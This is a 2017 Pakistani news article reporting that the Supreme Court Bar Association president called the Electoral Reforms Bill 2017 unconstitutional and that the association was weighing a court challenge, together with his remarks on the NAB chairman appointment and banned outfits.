Published On: Tue, Sep 26th, 2017
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SCBA mulling over to move SC against electoral reforms bill

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Islamabad: Supreme Court Bar Association (SCBA) has started contemplation to contact Supreme Court against Electoral Reforms Bill 2017.

Talking to media persons SCBA president, Rasheed A Rizvi said the issue has been included in the agenda of forthcoming consultative meeting, which would be held on October 07 in Peshawar to challenge the Electoral Reforms Bill 2017. He said that electoral reforms bill was unconstitutional. He said approval of electoral reforms bill was tantamount of nullifying the constitution. He said SCBA was mulling to challenge the law in the Supreme Court.

President SCBA said that a consultative meeting would be held with all stake-holders to reach to a final decision, in this regard. He said meeting of SCBA has been summoned on October 07 in Peshawar, adding electoral reforms bill has also been included in the agenda of the said meeting. He said decision would be made during the meeting to challenge the bill.

“We will wait till the bill becomes the law”, he said , adding the bill could not be challenged until it becomes a law. He said Chairman Pakistan Tehrik Insaf (PTI), Imran Khan has started appointment of Chairman NAB with the consent of Supreme Court. He was of the view that Supreme Court must keep itself at a distance over this issue. He justified that it was responsibility of the Executive to appoint Chairman NAB. He opined that all institutions must work in their ambits. He said that although PTI run its election campaign in NA-120 in a vivid manner but PML-N succeeded due to rule of the party in the province.

To a question, he said any person could not declared disqualified for life term under the article 62-F/1 of the constitution. He said punishment has not been defined in the constitution, in this regard. Where the law was silent, the court could not award punishment by its will, he added. He said not only Nawaz Sharif would be a beneficiary of amended electoral reforms bill but those all who has had been declared disqualified from courts, could become party head.

To another query, he said present and past governments have turned a blind eye towards banned outfits. He said tall claims were being made that WANA and Waziristan have been purged off the terrorists. He said nurseries of terrorists are taking place in the cities. He citied that gaining votes of religious parities in a liberal city like Lahore in the recent election was matter of grave concern.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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